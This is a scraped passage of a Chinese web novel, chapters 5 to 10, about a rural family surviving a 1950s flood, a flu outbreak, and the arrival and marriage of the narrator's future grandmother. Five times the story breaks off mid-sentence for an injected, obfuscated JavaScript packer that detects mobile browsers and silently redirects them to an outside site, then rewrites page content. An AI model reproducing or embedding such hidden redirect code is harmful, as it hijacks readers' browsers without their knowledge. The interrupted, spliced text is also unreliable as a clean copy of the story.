至于钟母陈显英，原先也是逃难来的，她是独生女，她爹被那谁打败仗的时候给强制带小岛去了，至此再没见过，剩下她跟她娘孤儿寡母的，没了生活来源，又赶上灾荒，就一起逃难来了钟家岗，嫁给了钟伟先，自此定居下来了。她娘没几年就没了，没埋在钟家祖坟，而是埋在了北边的玉米地里。 照老太太的原话就是，人家一家子姓钟的，她这个姓王的就不去凑热闹了。 钟小姑那边离钟家岗也不远，地势不低，所以也没啥好担心的，被淹了想过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585670|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来简单的很。 钟家人只要顾好自己一家四口就行，不用担心这个担心那个的。 随着雨势越来越大，村里的鱼塘也和陆地一个水平线了，里面的鱼游上了陆地。 县里都来人了，颍河大坝上多了很多人员值守，有人去劝黄家岗的人撤离，有部分人听劝，跟着政府的人撤走，带着家当去投奔了亲戚。可是很多老人觉得故土难离，就是死也要死在家里，不愿意离开，等到想走的时候，水势越来越大，想走都走不了了。 钟绍华在台子下面的白杨树林里就捡到了好几条鲫鱼，拿回家后钟伟先也跟着抓鱼去了。钟莹莹想要出门，却被一家人给勒令在家。郁闷的不行。 村里不少人都提着竹编的鱼篓出来“捡”鱼了，既然已经这样了，何不苦中作乐一番呢。多抓点鱼，还能多吃几顿，反正都是村里的财产，他们不抓，到时候鱼跑走了，浪费的还是他们的东西。 家家户户都拎着几篓子鱼满载而归。 钟莹莹在家喝着黄豆炖鱼汤的时候，就听见一声响彻云霄的哭喊：“闺女啊，大坝毁了，咱家没了。” 钟伟先出去看了，是村长的老丈母娘，过去打听了一下，大坝真的如祖坟预言的那样，决堤了，他们这边还好，只是地里的作物全都完蛋了，河对岸可就惨了，大坝冲毁的口子在那边，加上地势本就低，整个村子都被淹没了。 村长这老丈母娘黄大花本来也是死守派，但是看情况不对劲，还是当机立断的带着三个孩子上了小船，赌了一把，这才来了钟家岗。 黄大花唯一的儿子还在部队里，至于儿媳妇，早几年生孩子难产没了，家里就只有祖孙四个，她能当机立断的带着孩子逃难，已经不容易了。 村长能说什么呢，总不能把他老丈母娘往外赶吧，天灾啊，谁能控制啊，就是这三个孩子，他看着实在发愁啊，都是半大小子，家里本来就人多粮少，这下就更惆怅了。 给几个孩子擦了身子，换下了身上已经湿透的衣服，黄大花把村长叫到跟前，从兜里掏出一个手绢，打开来，拿出了里面的三十块钱递给村长，说：“强先啊，我知道你也难，但是我这也是没办法了，这些钱你拿着，如果能买粮就买些。贵些都没关系。” 村长推脱了一番，还是赤红着脸收下了。他也确实是缺钱缺粮。这都是没办法的事情。 陈显英煮了一大锅紫苏老姜水，让钟伟先就着斗笠给村长拎了一大壶过去，紫苏和老姜都是散寒的，受了冻趁热喝一碗，能够预防感冒发热，小孩子生病最麻烦了，一个小病都可能会夭折，都是姓钟的，能帮还是帮着点。 6. 第 6 章 说来也是奇怪，大坝决堤了之后，一直下着的瓢泼大雨反而逐渐变小了，等到救灾的军队过来的时候，已经只有蒙蒙细雨了。 钟家岗是距离大坝最近的且受灾不严重的村子，所以军队理所当然的驻扎在了这附近。 站在颍河大坝完好的这一边往对岸望去，对面已然是汪洋一片，房屋早已被掩埋在了水面之下。只有一些树龄比较长的白杨树还屹立在水中。 一个又一个的绿军装在简单的安置了之后，立马投入到了抗洪抢险中。 包括钟家岗在内的附近几个村子的小船都被征用了，船不够怎么办？还有竹子，现场砍竹子造竹排。就这么一波又一波的前仆后继，尽了自己最大的努力去挽救人民的生命和财产。 “大宝发烧了。” “新美、新东、新雪也在烧。”村长媳妇儿黄为霞摸了摸自家几个娃的脑瓜子，大的两个还好，小的这三个烫的都能烙饼了。 “家里有药吗？” “没有……先给煮点姜汤发发汗，我去问问医生。”跟着部队来的，有医生。因为附近的孩子都在高热，病倒的实在太多了，医生那里也没药了。 更着急的是老楚家那个刚生下来还没满月的男娃娃也开始发热了，他还在月子里的媳妇也是浑身滚烫。 医生过去看了，巧妇难为无米之炊，没有药，只能就地取材，给煮了点紫苏老姜汤灌了下去，能起到的作用微乎其微。 老楚这个时候也不偷奸耍滑了，急的直抹眼泪。这可是带把的啊，好不容易来个男娃娃，怎么就遭那么大的罪呢。 钟家此刻也是一阵的鸡飞狗跳，钟莹莹也烧起来了。钟莹莹心底纳闷的很，自己已经很小心了，五月的天了，身上还穿着厚厚的褂子，睡觉还盖着被子，怎么还是中招了，感受着此刻的头晕眼花鼻塞，看来这流感没自己想的那么简单。 之前提前备下的药派上了用场，一副又一副的苦汤药被灌进了钟莹莹的喉咙里，呕出来一些，陈显英就再给她灌进去一些。 喝完两副药体温就降的差不多了，害怕再烧起来，陈显英跟钟伟先两个轮流在床前守着。钟绍华也没闲着，守着灶房的瓦罐煎药，第一道给钟莹莹喝，药渣也没浪费，复煎了一遍然后三人喝了，防止也被传染了，到时候再传然给钟莹莹，反复感染，那就雪上加霜了。 安乃近暂时没敢用，这个药劲大，之前窑厂那有个娃，就是吃了变成了个傻子。十多岁了还流的满脸都是口水呢。 不到万不得已，孩子是不能用这个药的。 “伟先啊，你家有药吗？”因为严重缺药，村长只能趟着水挨家挨户的问。问到钟家的时候已经不抱什么希望了，家家户户都有病人，哪里能拿得出来药给别人。 “没有……算了，你等等。”刚想拒绝，钟伟先又不忍心，转身回屋取了之前买的安乃近，拿了七颗安乃近出来，递给村长道：“家里就这些安乃近了，孩子能不能用你还是问一下医生。给老楚分一颗，我就不过去了。” 其实不止，药房一共给了十一颗，他留了四颗。终究都是亲戚，眼睁睁看着他们出事，还是于心不忍。好心也不能太好心了，还是得留几颗自家备用。 “伟先啊~”村长看着手心里纸包的几颗药，老泪纵横，明明只比钟伟先大了几岁，头发却在这几天白了大半。 这几颗药拿到医生那里，医生掰开给几个孩子分了吃了，老楚家那个则是由老楚媳妇吃了，然后给孩子喂奶。 好在药效显著，孩子们的烧都退了下去。 就是老楚的那个儿子看起来好像有点不太对，孩子的眼睛没有神采了。大家都看出来了，但是没敢说。 医生也只能叹息一声，拍了拍老楚的肩膀，让他看开点，然后转身走了。 那个平常爱贪点便宜的汉子，一下子就绷不住了，坐在地上嚎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585671|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啕大哭，他媳妇也坐在床上抱着孩子低声抽泣。 前前后后忙活了一月有余，才在水稍稍退去后，堵上了大坝的那个缺口。 绿军装走后，钟家岗多了不少新面孔，其他村子也是，都是对岸来的。对面虽然水浅了不少，可是房子还是泡在水里的，压根没法住人。他们也就只能寻亲访友的寄人篱下。 时间短还行，时间长谁家也禁不起这样耗。 没办法只能由县里出物资，临时搭建了一些竹屋，说是屋子，也就是个棚子，就能简单的遮风挡雨而已。逃难来的人基本上一个个的都搬到了那简陋的小棚子里去。 不过这些纷纷扰扰的，都和钟莹莹无关，此刻她正在回忆，当年爷爷口中水灾后究竟发生了哪些事情。 自己之前做的准备还是太浅显了些。 就像灾后的流感，自己就没有预料到，反而把自己差点给搭了进去。身体还是弱了，以后得多吃饭，多跑动，强健的身体才是革命的本钱。 记得上辈子爷爷说，奶奶就是五零年发大水后过来的，一个裹了小脚的姑娘，滚了一身泥，就这么颤颤巍巍的凭借着一点点信息找到了钟家，中间不知道该有多难。 可惜的是，钟莹莹并不确定奶奶是啥时候过来的。 阴沉了两月的天终于晴了，太阳高悬天空之上，此刻已经快接近六月了。蝉鸣悠扬，空气中弥漫着灼热的气息。 钟莹莹也脱下了厚褂子，换上了土粗布做的半截袖。 县里给的支援有限，黄家岗那群人早早的就无米下炊了。此时只能到处寻摸着些野菜树叶煮了充饥。连柴火都很难得，他们往往是摘了一天的菜，囫囵切了放进瓦罐里煮熟，一天吃两顿。其他时间就去开垦荒地，麦子是不用想了，全军覆没。 补种点南瓜，还能有点收成，不至于饿死人。今年因为受灾严重的缘故，上面把公粮也给免了，这一季就不用交了。 7. 第 7 章 天热，加上到处都是河水退去留下小水洼，难免滋生出一大堆的蚊虫。 一到晚上就嗡嗡作响，家里有蚊帐还好，没有的被叮的压根睡不着觉。 家里烧了薄荷叶和艾叶驱蚊，蒲棒的也到了季节可以采摘了。村里小孩都过去摘了。孩童散落在芦苇荡周围，争先恐后的折蒲棒。 这个既可以拿去晒干自家烧了驱蚊，也可以卖给收药的。 在孩子们忙的热火朝天的时候，一道声音突然响起。 “请问这是……钟家岗吗？”一个步履蹒跚、浑身脏污看不出性别的人从芦苇荡对面走过来，手里还拎着一个布袋子，上面也是布满了泥污。 “哪里来的要饭花子。”钟新美被吓了一跳。 钟莹莹好不容易被允许跟着村里的小伙伴出来摘蒲棒，看见这一幕兴奋的小心脏扑通扑通的跳。是奶奶，奶奶来了！！！！ “是钟家岗。”钟莹莹激动地道。 “莹莹，你别和她讲话，小心是拍花子的。”因着之前的一药之恩，七岁的钟新美被村长教导，要感谢钟家人。 所以即使平常没怎么接触过钟莹莹这个不爱出门的小妹妹，钟新美也很护着她。 更何况这个妹妹和自家那个还不一样，身上干干净净的，也没有把大鼻涕抹自己身上。 “我不是拍花子的，我找钟思霖。”微弱的女声很是沙哑。 “钟家岗没有……莹莹怎么了？”钟新美没有听过这个名字，刚想回答就被钟莹莹扯了一把。 “钟思霖是我爷爷。”说的是钟莹莹这一世去世的爷爷的名字。钟新美年纪小，又不跟钟莹莹是一家的，自然不清楚。 “我是……”小叫花子似的人刚一开口，就听见水面传来一声巨响。 扑通~小叫花子也丢下破包袱跳进了水中。 “秀秀掉水里面了，快回家找大人。” 岸边的孩子急的团团转，他们摘蒲棒都是捡着岸边的摘。水里的压根不敢碰。 楚琳琳也就是老楚的大女儿，一边哭一边跑着回家喊家长了。 楚秀秀在水里浮浮沉沉，浑浊的水淹没了她的头顶，她越是挣扎，呛进鼻子和嘴巴里的水就越多，肺部也是火辣辣的疼。 就在她眼前一片黑暗，即将失去意识的时候，一只瘦弱但有力的手揪住了她的头发，她感觉自己被拽出了黑暗。 意识回来后，发现自己正被人倒着提起来甩，猛烈的咳嗽了几声，喉咙里呛出来的都是水。 “秀秀活了、秀秀活了。” 见楚秀秀有气了，周围的孩子都开始欢呼起来。 钟莹莹的注意力不在楚秀秀身上，全在自己奶奶上了。 原本脸上脏污不堪的人，下水被水那么一泡，露出了几分姣好的面容，这下子能清楚的分辨出她的性别了。 钟莹莹注意到，她的手在滴血。“你的手在流血？” 女孩随手抹掉手上的血，沙哑着嗓子道：“没事，刚才有些着急，可能被芦苇叶划到了。” 其他村民这时才赶到，七嘴八舌的问孩子怎么样了。见孩子一个不少，又把目光转移到了救了娃的人身上。 “嘿，这人真像个小叫花子。” 现在的人虽然穷，但也没见过穿的这么破烂的，头发还乱七八糟的缠在一起，像杂草一样，不是像讨饭的是像什么？ 村长姗姗来迟，斥责道：“行了，既然孩子没事，都围在这里做什么？地里的活不干了？饭也不要吃了？” 围观人群顿时拎着自家孩子一轰而散。 留下的只有老楚，还有钟莹莹几个小娃娃。 小叫花子也就是钟明月，向村长表明了来意后，拒绝老楚的感谢与邀请，跟着钟莹莹回了家。 “娘，你看我带谁来了。”找到奶奶的钟明月牵着人蹦蹦跳跳的回了家。 “这是？”陈显英属实没认出眼前这人是谁，她家也没有落魄成这样的熟人啊。 “你好，我叫钟明月，是钟思琴收养的孩子，干娘去世前让我带她回家。”说完钟明月把手里的破包袱递给了陈显英。 小包袱里面别的东西没有，只装了一个小罐子。里面是钟思琴的骨灰。 陈显英望着眼前灰扑扑的包裹，一时半会之间竟然不敢伸手去接。 死去的公公确实有个妹妹叫钟思琴，当年不满家里人安排的亲事，一气之下跟人私奔，再也没回来过，家里找了几次没找到，就默认她死在外面了。 都过去这么多年了，没想到只剩个骨灰还能找回来，真是稀奇了。 “你先进屋喝口水，包裹放在桌上就好，我给你找件干净衣裳换了，身上湿淋淋的也不好受。”天可怜见的，这一路不知道吃了多少苦头，嗓子哑成这样。 陈显英拿衣服的空当，钟莹莹像个快活的小鸟一样，一点儿也不嫌弃地围着钟明月转个不停。 “奶……姐姐，你从哪里来的啊？你多大了啊？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585672|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一张嘴差点露陷，赶忙又找补着问了其他几个问题。 “我今年十八岁，从遂县过来的。”钟明月腼腆一笑。 “那……” “莹莹，别闹人家了，明月，这衣服你拿着，灶房里有热水，先洗洗把衣服换了。”陈显英出来打断了钟莹莹的叽叽喳喳。 钟明月接过衣服道了谢，跟着陈显英身后去了灶房洗澡。 等到洗完出来，钟莹莹惊讶的瞪大了眼睛。 阳光透过院子外白杨树的枝叶，斑驳的洒在钟明月的脸庞上，微风轻拂着她白皙温婉的面庞，鹅蛋脸上的眼眸灿若星辰，微粉的唇角轻轻上扬，看人时总带着三分笑意。 她知道奶奶好看，但是前世的时候也只见过白发的奶奶，没想到奶奶年轻的时候如此的漂亮。 钟明月站在那里，随手将耳边的碎发别到耳后，动作自然而优雅，一看就不像普通人家能养出来的孩子。 不止钟莹莹看呆了，刚刚到家的钟绍华也是一眼万年。 整个心跳到了嗓子眼，脸红的像个猴屁股。之前娘说有人要给自己介绍个对象，该不会是这姑娘吧，他觉得自己可以了。 “你、你……好，我是钟绍华，你叫什么？”钟绍华结结巴巴的自我介绍。 “干什么呢，这是你姑姑。”一旁的钟伟先听完陈显英介绍钟明月的来历，一巴掌拍在了钟绍华的脑袋上。 “姑姑？”钟绍华的一颗心顿时变得一片死寂。不是吧，第一次动心就动到了不该动的人头上？ 钟莹莹看出了他的心理，上前抓住他的手声音软糯：“姐姐是姑奶奶收养的孩子。” 钟绍华听完忽然又觉得心情好像没那么糟糕了。 上辈子奶奶不被太奶喜欢就是这个原因，她觉得钟明月嫁给钟绍华是大逆不道，上辈子钟家没屯粮，整个钟家村也没啥余粮，多养一个人就多一份压力，重压之下，陈显英自然对钟明月没有好脸色。再加上钟绍华为了娶钟明月，不知道顶撞了自己多少回。 在这种情况下，婆媳关系自然不好。 钟莹莹并不觉得不能嫁，又没有血缘关系，而且两人才第一次见面，也不是按照亲戚关系养的。 钟莹莹要把关系定死在姐姐上，姐姐可比姑姑容易接受多了。 其实村里人并不在意这些，附近还有亲表妹嫁给表哥的呢，只是钟莹莹害怕她娘心里介意。 老娘没有心结了，一家人的劲儿才能往一处使。 8. 第 8 章 正常情况下，外嫁女是不入娘家祖坟的，钟思琴这种算是例外。没有嫁娶，客死他乡。 钟伟先长叹一口气后，还是把钟明月带来的骨灰给埋在了自己爹的边上。小小一个坟包。已然是钟思琴的全部，希望到了下面，姑姑能和爹他们团聚吧。 “陈婶子，都在家呢？上回我给你说的事。咋样了，什么时候让两个孩子见一面。”村里的吴老婆子一直想把侄女嫁到钟家来，钟家孩子少，就一个儿子，侄女嫁过了能过好日子，也能孝敬自己。她丈夫死的早，一个人寡居在村里，也没个孩子，村里人都传她克夫。 陈显英确实有几分心动，那姑娘她见过，长相一般，但是是干农活的一把好手。想到吴老婆子平常省吃俭用赚的几个嚼用都给了自家侄子，还有她弟弟那一大家子生的一大串闺女，以及唯一的独苗吴毛蛋，荒年还能吃的像头猪。又想到昨天自家儿子见到钟明月的表现，还是犹豫了。 “还是算了吧，孩子暂时不想找，再等两年，你先回去吧，我还有事呢。” “等啥呀，我给你说，我那侄女……哎，别走啊~”吴老婆子还想继续掰扯，陈显英却是提着篮子要去挖野菜了。 她家虽然暂时不缺粮，但也不能太冒尖了，面子上的功夫还是要做一做的。 吴老婆子见陈显英不理她，跟在后面气的在背后啐了一口唾沫，低声骂了一句：“呸，不要脸的东西，还真当自己是个人物了~” 刚骂完一回头发现钟家一大一小两个姑娘正直勾勾的看着自己，吴老婆子恼羞成怒的骂道：“看什么看，两个赔钱货。” 说完愣了一下，然后盯着脸蛋钟明月看了很久，眼神瘆人的很，阴沉沉的道：“好个陈显英啊，怪不得不同意我给他儿子介绍对象，原来家里还藏着一个呢。” 钟家的亲戚除了钟家岗这些姓钟的算是隔了好多辈的亲戚外，只有嫁到窑厂那边的钟明芳了。此时钟家突然出现一个十七八的小姑娘，长得还很好看，怎么能不让人想入非非。 “我呸，吃着碗里的看着锅里的。一家子不要脸的玩意”说完骂骂咧咧的回家去了。 钟明月听见吴老婆子的话，略微一思索，羞的脸都红了，转念一想想到昨天那个高大的青年，心中不免多了些小心思。 原本她只是借送干娘的骨灰来给自己找个活路的，在遂县，只剩下自己一个人，明明家产都捐了，等到父亲一没，还是止不住那些豺狼虎豹。 这个世道，女人终归是要嫁人的，那嫁谁不是嫁呢。干娘是个好人，她家人应该也都是好人。 昨天还给自己换了衣服，还收拾了个房间出来给自己住。 钟绍华又是个眉清目秀的小伙子，爱干净，身上也没什么恶习，待自家妹妹好的很，可见不是个重男轻女的，自己嫁进来应该不会受欺负。 “姐姐，别怕，回头我给娘说，让娘骂回去。”钟莹莹还以为钟明月是被吴老婆子气的小脸通红，当即表示要告状，奶奶上辈子就是个好性子，谁欺负了她，她都不计较。为什么不是现在骂回去，现在家里没大人，就她们俩，一个屁点大，一个裹小脚，万一吴老婆子气上头了，一人给一个大鼻窦也不是没可能。 “没有，莹莹，我给你做嫂子可好？”钟明月看着柔弱，性子却是个果断的，想好要嫁进钟家，立马就开始行动起来了。 看昨天钟绍华那个样子，应当是欢喜自己的。 就是钟父钟母那里还有点问题，尤其钟母，能看出碍于伦理道德，她有些接受不了。倘若有个人能够吹一吹耳边风，应该会好很多，她和钟母本就没有什么不可调解的矛盾不是吗？ “好啊，哥哥喜欢你，我也喜欢你。” “我去给娘说，让你给我当嫂子。”钟莹莹正有此意，一开始她还有点担心钟明月看不上她哥哥，上辈子结了，这辈子多了她这么个变数，谁知道会造成什么后果。现在两情相悦了，当然是最好的结果。 吴家那个她以前也见过，七八十岁都成老太婆的时候，还是个尖酸刻薄的伏弟魔，要是真嫁进来，不知道该干出什么事呢。 另一边的钟绍华光着膀子去沟里摸了鱼，刚一上岸，把扔在岸边的几条小鲫鱼给兜到上衣里，就被人给堵在了岸边。 “绍华哥，为什么不同意相亲？”一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585673|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面黄肌瘦，看上去像饿的要昏厥了的女人，红着眼，伸手拦住了钟绍华的去路。 看着面前站着的人，钟绍华只觉得有点二和尚摸不着头脑，不是，他娘之前说相亲也没说是和吴菊啊，要是说了的话，他早都拒绝了。 一想到吴菊家里的那个宝贝蛋弟弟，在姐姐妹妹都饿的皮包骨的情况下，能够吃的满肚肥肠，额头流油的，他就感觉恶寒。 不得不说，这母子俩，在某种层面上的想法算是达成一致了。 “别见人就叫哥，还有我有喜欢的人了，谁要跟你相亲了？”什么人呀这是，套近乎有这样套的吗？ “你喜欢谁？不是说好了娶我的吗？”吴菊整个人仿佛受到巨大的打击，身子颤颤巍巍的就要往钟绍华身上倒。 说时迟那时快，钟绍华一个闪身就避开了。 而碰瓷没成功的吴菊就在差一点要摔倒的时候，像个打不死的小强一样，一个挺身又站起来了。 “胡说八道。”娶她？娶？说好的？钟绍华此刻只觉得自己好像有点听不懂人话了。 “绍华哥，当时你从窑厂买缸回村，路过我家门口的时候，不是还特意来瞧了我吗？”吴菊还记得，那个时候自己正在给弟弟喂饭。钟绍华路过吴家的时候盯着她看了好久。当时她小姨才给她说过要把她介绍给钟绍华，他这么看着自己，不是看上自己了是什么？ 既然看上自己了，那不就是要和自己结婚吗？ “我看你？我是看哪个大傻子，自己饿的头晕眼花，把饭都给大肥猪吃了。”路过扫了这么一眼，就被人冤枉是和人好上了，此刻的钟绍华感觉自己比窦娥还要冤。 “你，你……”吴菊被怼的说不出话来。 “你什么你？让开，别挡着路。”钟绍华冷漠无情用衣服里包着的鱼把人给推开，避免和了和吴菊发生肢体接触，谁知道碰她一下会不会被她理解成想扒她衣服。自己还没娶媳妇，可忍不了一盆又一盆的脏水泼到身上。 好不容易抓的鱼碰到了脏东西，拿回家也得好好洗洗。 莹莹爱吃鱼，今天炖了好让她在明月面前给自己说说好话。 9. 第 9 章 傍晚，钟绍华抱着鱼回家，正好赶上陈显英从外面挖野菜回来。黄家岗的人在村里没有存粮，也就靠野菜过活，野菜摘完了，就够杨树叶吃，钟家岗什么都不多，就白杨树多。（够：从高处摘） 六月的杨树叶又苦又涩，难以下咽。他们不知道用什么办法，把叶子放在石磨上磨碎了，做成了黑色的凉粉，稍微好消化一点，勉强还能够过活。 陈显英出去只是做个样子，并没有要跟他们争抢最后的口粮，所以没有多少收获。胳膊挎着的篮子里只有少的可怜的几株马齿苋。 钟绍华讨好的冲他娘笑了笑。 陈显英看他这个样子简直没眼看，嗔骂道：“真是出息了。” 当娘的还能不明白做儿子的在想什么吗？又是打扫房间又是抓鱼的，恨不得要把心掏给人家了。大的这样，小的也这样，像个跟屁虫一样。唉！儿女都是债啊。 钟明月从屋里出来，要接过钟绍华手里的鱼，去帮忙杀鱼，被他忙不迭的拒绝了。 沟里的鱼腥气的很，杀鱼搞的一手血，小姑娘家家的，还是不要沾了。 陈显英气的从鼻孔出气，自己杀了这么多年鱼都没见他抢着帮忙，这个儿子算是白养了。 钟明月是个识趣的，知道这个时候自己还是不要说话为妙。 钟家人的晚饭是黄豆炖鲫鱼，还有一盘加了一丢丢麻油拌的马齿苋。以及老楚家送来的一大盘蒸土豆。 之前钟伟先贡献的一粒安乃近，救回了老楚的媳妇和儿子，虽然儿子可能出了一点小问题，这一回钟明月又从水里捞上来他的女儿。老楚都不知道该怎么感谢钟家了。 为了表示感谢，只能送点口粮过来了。就这些土豆，还是在钟伟先的游说下才留下的。欠钟家的真是越欠越多了。 钟伟先没回来吃下午这顿饭，窑厂那边运输车抛锚了，技术员不在，请他过去帮忙了，那边管饭，伙食应该不会差。 “娘……”钟莹莹拖长了尾音，撒着娇想要和陈显英说几句钟明月的好话。 “食不言寝不语，吃饭。”陈显英故意板着一张脸吓唬人，钟莹莹被唬的一愣一愣的，立马就低下头老实扒饭了。 至于饭桌上的另外两人更是表示不敢吱声，谁敢惹一家之主啊。 晚上钟伟先回来，掏了五毛钱给陈显英，这是给窑厂修车人家给的工钱。 睡觉的时候，陈显英躺在床上，用胳膊杵了杵他：“他俩的事情你怎么看？” “谁俩，你不要讲的云里雾里的。”钟伟先没明白她在说什么。 “你儿子，还能有谁？” “绍华和明月？能怎么看，俩都是好孩子，我又不反对，不是看你怎么说吗？”单从钟明月能跨越几百公里，就为守一个承诺，这孩子就差不了。送回了自己姑姑的骨灰，钟伟先对她的好感是蹭蹭涨啊。 “可我这心里总觉得别扭，你姑的干女儿，嫁给你儿子，这算是个什么事啊，说出去人家不说我们家不讲究啊。”陈显英在这件事情上出现了少有的扭扭捏捏。 “你不说，我不说，还能有谁知道，又不是亲生的，谁管这些事呀，你啊，还是想的太多了。行了，别想了，睡觉吧，孩子们的事情让他们自己解决，人家还不一定能看得上你儿子呢。”钟伟先不像陈显英一样，觉得自家孩子哪里都好。 钟明月的气质谈吐，都不像普通人家能养出来的，那一双小脚，更能印证她来头不小。配自己儿子，是自家高攀了。 “你这当爹的怎么说话的，哪有说自己孩子不好的。”陈显英气的给了钟伟先一胳膊肘。 钟伟先被锤的闷哼一声，不敢反抗，只能装作自己已经睡着了。 第二天一大早，钟伟先就开始对钟绍华挤眉弄眼的，看见老爹的表情，钟绍华就知道，自家老娘应该不反对自己搞对象的事情了，因而对钟明月表现的越发殷勤起来。 钟莹莹看着自家的蠢哥做蠢事，只好帮着找补，她越发的黏着陈显英，发誓要做一个最保暖的小棉袄。 钟绍华和钟明月结婚的日子定在七月初，请村长做证婚人，钟家人一道吃了一顿饭。又给村里人散了几颗喜糖，这婚事就算成了。 钟明月从小库房搬进了钟绍华的房间里，那个原先用作小库房的房间也并没有继续作为库房。钟莹莹搬了进去，夏天实在太热了，她不能够忍受再在爹和娘中间被烤火炉似的烙饼了。小小的一个人儿强烈要求要自己住。 陈显英也觉得热的很，小娃娃火力足，黏身上就是一身汗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585674|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈显英给钟莹莹做了几个加厚的肚兜，就放孩子自己睡去了。 水灾的事情越来越遥远了，要不是黄家岗的人还饿着肚子，地里这一季的收成也是空的，还真像什么事都没有发生过一样。 黄家岗的人已经撤走了，大坝对岸的水已经彻底退了，黄家岗有他们的土地，留在钟家岗他们也没得吃。 之前种在荒地里的南瓜还没有成熟，只长出了青色的嫩瓜，他们摘了一部分吃了，剩下的和钟家岗的人商量好了。等成熟的时候再过来采收。 钟家岗的人手里有粮，自然不会再去和他们争抢这些救命粮。 期间吴老婆子想过去偷南瓜，被村长指着鼻子破口大骂骂走了。本来还不想走的，村长威胁道，还敢偷，就把她送回窑厂那边，钟家岗不欢迎手脚不干净的人，本身就是一个老寡妇，还挂着克夫的名声，回娘家又能有她什么好果子吃。一说要把她赶出钟家岗，她立马就妥协了。 钟家岗的作物一年是种两季的。 上一季种小麦，这一季该种水稻了。 育好的秧苗被拔起捆绑成一把把，然后再被运到已经放好水的稻田里，由人工一颗颗插进地里。 钟家大人全部出动，一块下了田，钟莹莹戴着个小草帽，也有模有样的跟着去了。 小胳膊小腿的，既拔不动秧苗，也不敢下地插秧，净跟着凑热闹了，因为水稻田里有蚂蝗，吸血的时候身子身子不停的蠕动，她活了两辈子还是害怕这玩意。 偷偷的用空间帮忙把秧苗从稻母田偷渡到秧地里，尽自己的能力来帮家里人减轻负担。 陈显英还在奇怪，往年的秧苗要牛车拉个三四趟才能拉完，今年两车就拉完了，看来这次老黄牛下苦力了啊。 钟伟先搞了个挂水用的玻璃瓶，用来抓蚂蝗。镇上收这玩意，一个一分钱，搁往日抓十几只就能换一斤粮呢。 现在粮价涨了，估计得三四十只才能换一斤粮。 钟莹莹不敢抓蚂蝗，但是找蚂蝗一找一个准，尤其是攀附在秧苗上的，飞快的往空间一进一出，用不了一秒就能判断出来。有蚂蝗的收不进去，没蚂蝗的收进去立马拿出来就好。之前测试过，肉眼几乎分辨不出来她的动作，她也就光明正大的在钟家人面前作弊。 10. 第 10 章 插秧是个很辛苦的活，一个月干下来，钟家人晒黑了一大截。 饶是钟明月带着草帽穿着长袖在地里干活，也仍旧被晒伤，手腕处几乎脱了一层皮。 钟绍华见了心疼的不行。 自己地里刨食可以，总不能让老婆孩子都在地里刨食吧。 此刻他无比后悔，当年去县里上学，没读两年就半途而废了。 不种地就得有个工作，工作得进单位找，城里的单位别想了，一个萝卜一个坑，农村来的自己凭啥争？ 隔壁吴家村倒是有个砖窑厂，但人家也只招本村的，不招外来的啊！自己爹会修车，也就能偶尔过去打个零工，挣点零钱。 钟绍华不服气了，吴家村有窑厂，为什么他们钟家岗不能办个厂呢。 都一样是乡下人，谁比不上谁。 糖厂？县里有了。窑厂，吴家村也有了。那还能干嘛呢？ 钟绍华想起他娘腌的咸菜，忽然有个想法涌上心头，他们可以办个咸菜厂啊，味道美，价格还便宜，而且原材料当地就有，包装就从窑厂拿货，那边咸菜坛子多的是，拿的多价格还有优惠。 